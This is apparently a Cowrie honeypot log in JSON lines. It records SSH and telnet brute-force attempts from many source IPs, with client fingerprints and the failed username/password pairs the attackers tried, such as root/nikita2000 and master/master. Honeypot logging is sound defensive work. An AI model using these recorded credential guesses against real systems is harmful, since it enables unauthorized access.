{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:35:28.643719Z","src_ip":"89.223.69.22","session":"96c244caee63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gissell","password":"gissell1234","message":"login attempt [gissell/gissell1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:35:29.046914Z","src_ip":"213.209.159.56","session":"4dcc818d60f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gissell","password":"gissell12345","message":"login attempt [gissell/gissell12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:35:30.131932Z","src_ip":"213.209.159.56","session":"4dcc818d60f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:35:31.217886Z","src_ip":"213.209.159.56","session":"4dcc818d60f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":33064,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb177ddbccd2","protocol":"ssh","message":"New connection: 185.236.22.41:33064 (159.203.135.109:22) [session: fb177ddbccd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:35:36.173447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:35:36.181774Z","src_ip":"185.236.22.41","session":"fb177ddbccd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:35:36.296088Z","src_ip":"185.236.22.41","session":"fb177ddbccd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:35:36.680189Z","src_ip":"185.236.22.41","session":"fb177ddbccd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:35:37.800341Z","src_ip":"185.236.22.41","session":"fb177ddbccd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":37044,"dst_ip":"10.17.0.5","dst_port":22,"session":"331628d1a8b6","protocol":"ssh","message":"New connection: 103.176.20.57:37044 (10.17.0.5:22) [session: 331628d1a8b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:35:40.321456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:35:40.325408Z","src_ip":"103.176.20.57","session":"331628d1a8b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:35:40.573767Z","src_ip":"103.176.20.57","session":"331628d1a8b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nikita2000","message":"login attempt [root/nikita2000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:35:41.320353Z","src_ip":"103.176.20.57","session":"331628d1a8b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:35:42.572811Z","src_ip":"103.176.20.57","session":"331628d1a8b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":40496,"dst_ip":"159.203.135.109","dst_port":22,"session":"be7ee3a901a2","protocol":"ssh","message":"New connection: 193.32.162.151:40496 (159.203.135.109:22) [session: be7ee3a901a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:35:50.010298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:35:50.015563Z","src_ip":"193.32.162.151","session":"be7ee3a901a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:35:50.116422Z","src_ip":"193.32.162.151","session":"be7ee3a901a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"master","message":"login attempt [master/master] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:35:50.427454Z","src_ip":"193.32.162.151","session":"be7ee3a901a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:35:51.535368Z","src_ip":"193.32.162.151","session":"be7ee3a901a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":45306,"dst_ip":"159.203.135.109","dst_port":22,"session":"62a86ae51244","protocol":"ssh","message":"New connection: 103.15.222.183:45306 (159.203.135.109:22) [session: 62a86ae51244]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:36:06.393572Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:36:06.398223Z","src_ip":"103.15.222.183","session":"62a86ae51244","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:36:06.653392Z","src_ip":"103.15.222.183","session":"62a86ae51244","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vbifyz","message":"login attempt [root/vbifyz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:36:07.427357Z","src_ip":"103.15.222.183","session":"62a86ae51244","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:36:08.684333Z","src_ip":"103.15.222.183","session":"62a86ae51244","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":54632,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee32cf7e2c28","protocol":"telnet","message":"New connection: 213.108.3.46:54632 (10.17.0.5:23) [session: ee32cf7e2c28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:36:34.792514Z"}
{"eventid":"cowrie.session.closed","duration":0.017530202865600586,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:36:34.809893Z","src_ip":"213.108.3.46","session":"ee32cf7e2c28","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.146.52","src_port":38862,"dst_ip":"10.17.0.5","dst_port":22,"session":"f38de32b27cd","protocol":"ssh","message":"New connection: 45.148.146.52:38862 (10.17.0.5:22) [session: f38de32b27cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:37:06.790480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:37:06.794503Z","src_ip":"45.148.146.52","session":"f38de32b27cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:37:06.879716Z","src_ip":"45.148.146.52","session":"f38de32b27cd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d9:16:b0:9a:06:6c:14:34:21:f5:13:4a:13:b2:e2:da","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTPO/BaCanFMTxUa8xfmlkASsN2Q+z5GrF95v8HHaRset4e0RxQqeT+hRRNyEd/qJAsSUPzZu0I+2COFrtI0+LRPATmg8Xyn21xOKmHSt0164DtnZAtOHdjk+Nkdf37eiBRJ0D+pVthkAKeu4x6jS72f7xiAssxGIzAhlqg+g6KEIlyDHFJ4vSTE5lGTBJCUtiUGNAIpz84WtopRbJUuwR9Uqdxam8n3NjReGekD7t6Yt6wylSoBrO1SgfLb3qq/yLLcLrrDHpf2/EQX6mgHBDfzL2VoVKPBjjVlbT+5sXoCL7UScj9I2Ua67jdzwoBR6MLtIziRFXvnp2rbzF7EPh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d9:16:b0:9a:06:6c:14:34:21:f5:13:4a:13:b2:e2:da","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:37:07.270253Z","src_ip":"45.148.146.52","session":"f38de32b27cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d9:16:b0:9a:06:6c:14:34:21:f5:13:4a:13:b2:e2:da","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTPO/BaCanFMTxUa8xfmlkASsN2Q+z5GrF95v8HHaRset4e0RxQqeT+hRRNyEd/qJAsSUPzZu0I+2COFrtI0+LRPATmg8Xyn21xOKmHSt0164DtnZAtOHdjk+Nkdf37eiBRJ0D+pVthkAKeu4x6jS72f7xiAssxGIzAhlqg+g6KEIlyDHFJ4vSTE5lGTBJCUtiUGNAIpz84WtopRbJUuwR9Uqdxam8n3NjReGekD7t6Yt6wylSoBrO1SgfLb3qq/yLLcLrrDHpf2/EQX6mgHBDfzL2VoVKPBjjVlbT+5sXoCL7UScj9I2Ua67jdzwoBR6MLtIziRFXvnp2rbzF7EPh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:37:07.274166Z","src_ip":"45.148.146.52","session":"f38de32b27cd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a4:4a:d1:83:78:ba:a3:30:fb:f2:2e:3e:d1:3c:6e:58","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDgDm7xnSIXLv5CPuGUAeI4neSTFOUdKcuH2IjAHCI0gTPg/yGvWHYaAM5cd3K9+80enqFEXzuICEJ48jrKNW/ERgGZVgLjZobTY6zTj/mdtMZ4yZBa06tqoVggC2YtL6Ubve1HoVITD6P9CzJtqOIYewItjM8O/DnSTIqLVfW6EnJFkIzMVF+6bPlDvPKi1ycQcbnefxqcUcbTagUJMXTg0wktGqpNFgeEb77UrAJr8fa6t5VPAp8TsJC37BUVvxyX4XapJZV0fAcU8ig652KG/257gDphEW20bwxn8iIovHwkIRqdBXxMvRb/mc1I5pR321Ge5cj9W3qIm25dgghj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a4:4a:d1:83:78:ba:a3:30:fb:f2:2e:3e:d1:3c:6e:58","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:37:07.357118Z","src_ip":"45.148.146.52","session":"f38de32b27cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a4:4a:d1:83:78:ba:a3:30:fb:f2:2e:3e:d1:3c:6e:58","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDgDm7xnSIXLv5CPuGUAeI4neSTFOUdKcuH2IjAHCI0gTPg/yGvWHYaAM5cd3K9+80enqFEXzuICEJ48jrKNW/ERgGZVgLjZobTY6zTj/mdtMZ4yZBa06tqoVggC2YtL6Ubve1HoVITD6P9CzJtqOIYewItjM8O/DnSTIqLVfW6EnJFkIzMVF+6bPlDvPKi1ycQcbnefxqcUcbTagUJMXTg0wktGqpNFgeEb77UrAJr8fa6t5VPAp8TsJC37BUVvxyX4XapJZV0fAcU8ig652KG/257gDphEW20bwxn8iIovHwkIRqdBXxMvRb/mc1I5pR321Ge5cj9W3qIm25dgghj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:37:07.361140Z","src_ip":"45.148.146.52","session":"f38de32b27cd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5d:ba:61:f5:7e:b6:a4:25:ad:8d:91:20:54:32:83:79","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBX6XEg83N3tmX329Mzn+KjAirZnutg3DvJf1hIqFcDQWdKTi36zBL14UvZJFpX7A0S8fg+EtWvmq5xd4xx3EoN45vyIq2wygi6pJch3kdnyVKF0YdzYho+zIagYVeYyMITSWxlK+GPbRjvrcX2kdgIgSArUVN2QgqGAVRFtyoJPLjZA2xw4YLP+HkDsmoMwx4Z1aBZsHK3L2zryYbnopSWJxbJAxkLBHrZcxcaB+KbN7CZuG4L+fuHY69AYh6EPy8Lb+zb/jVL8vw2AAt8/NRCJ4SVeg46FgecTPjYUyOHfgrAHfvCwPqO7K8XT7TbrJjabv7Bli60BF8wnJqQDU9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5d:ba:61:f5:7e:b6:a4:25:ad:8d:91:20:54:32:83:79","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:37:07.445991Z","src_ip":"45.148.146.52","session":"f38de32b27cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5d:ba:61:f5:7e:b6:a4:25:ad:8d:91:20:54:32:83:79","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBX6XEg83N3tmX329Mzn+KjAirZnutg3DvJf1hIqFcDQWdKTi36zBL14UvZJFpX7A0S8fg+EtWvmq5xd4xx3EoN45vyIq2wygi6pJch3kdnyVKF0YdzYho+zIagYVeYyMITSWxlK+GPbRjvrcX2kdgIgSArUVN2QgqGAVRFtyoJPLjZA2xw4YLP+HkDsmoMwx4Z1aBZsHK3L2zryYbnopSWJxbJAxkLBHrZcxcaB+KbN7CZuG4L+fuHY69AYh6EPy8Lb+zb/jVL8vw2AAt8/NRCJ4SVeg46FgecTPjYUyOHfgrAHfvCwPqO7K8XT7TbrJjabv7Bli60BF8wnJqQDU9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:37:07.449213Z","src_ip":"45.148.146.52","session":"f38de32b27cd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"92:0b:40:00:18:6c:1c:3d:f7:a1:a7:2c:c7:4d:ea:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCv/C1/ZOhbtjN33p5FtO6g5Tsoa/ARgQxbSK1W9ejX6+ebmwrdgf8Ha5ULQcz2dldIMNs+97K4V5sgeIfLS1W9ZgKAQsn2gBMO9nkIaPMbM+0BtEL7h1untoxgmGhFRqxRanepWiHkXlW208kMHe+ivj8hK26F4FB3RJygm5cyrB6uy08Qi7woqMjrdfq78iQjLc682ApibjWx67bmp3FyHLeEg67VAJY6GqT1rt0UGLhshzn18LDWgxiHuYJzigNjT9y1qqi6mKfHBGoKaZFBzcEcE7Ap2ygG97XjPQ5i8oC5U85qXfrEdft0OnDiMG6SedsYzW+hh/7xl4uCGlBp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 92:0b:40:00:18:6c:1c:3d:f7:a1:a7:2c:c7:4d:ea:6b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:37:07.531582Z","src_ip":"45.148.146.52","session":"f38de32b27cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"92:0b:40:00:18:6c:1c:3d:f7:a1:a7:2c:c7:4d:ea:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCv/C1/ZOhbtjN33p5FtO6g5Tsoa/ARgQxbSK1W9ejX6+ebmwrdgf8Ha5ULQcz2dldIMNs+97K4V5sgeIfLS1W9ZgKAQsn2gBMO9nkIaPMbM+0BtEL7h1untoxgmGhFRqxRanepWiHkXlW208kMHe+ivj8hK26F4FB3RJygm5cyrB6uy08Qi7woqMjrdfq78iQjLc682ApibjWx67bmp3FyHLeEg67VAJY6GqT1rt0UGLhshzn18LDWgxiHuYJzigNjT9y1qqi6mKfHBGoKaZFBzcEcE7Ap2ygG97XjPQ5i8oC5U85qXfrEdft0OnDiMG6SedsYzW+hh/7xl4uCGlBp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:37:07.535676Z","src_ip":"45.148.146.52","session":"f38de32b27cd","protocol":"ssh"}
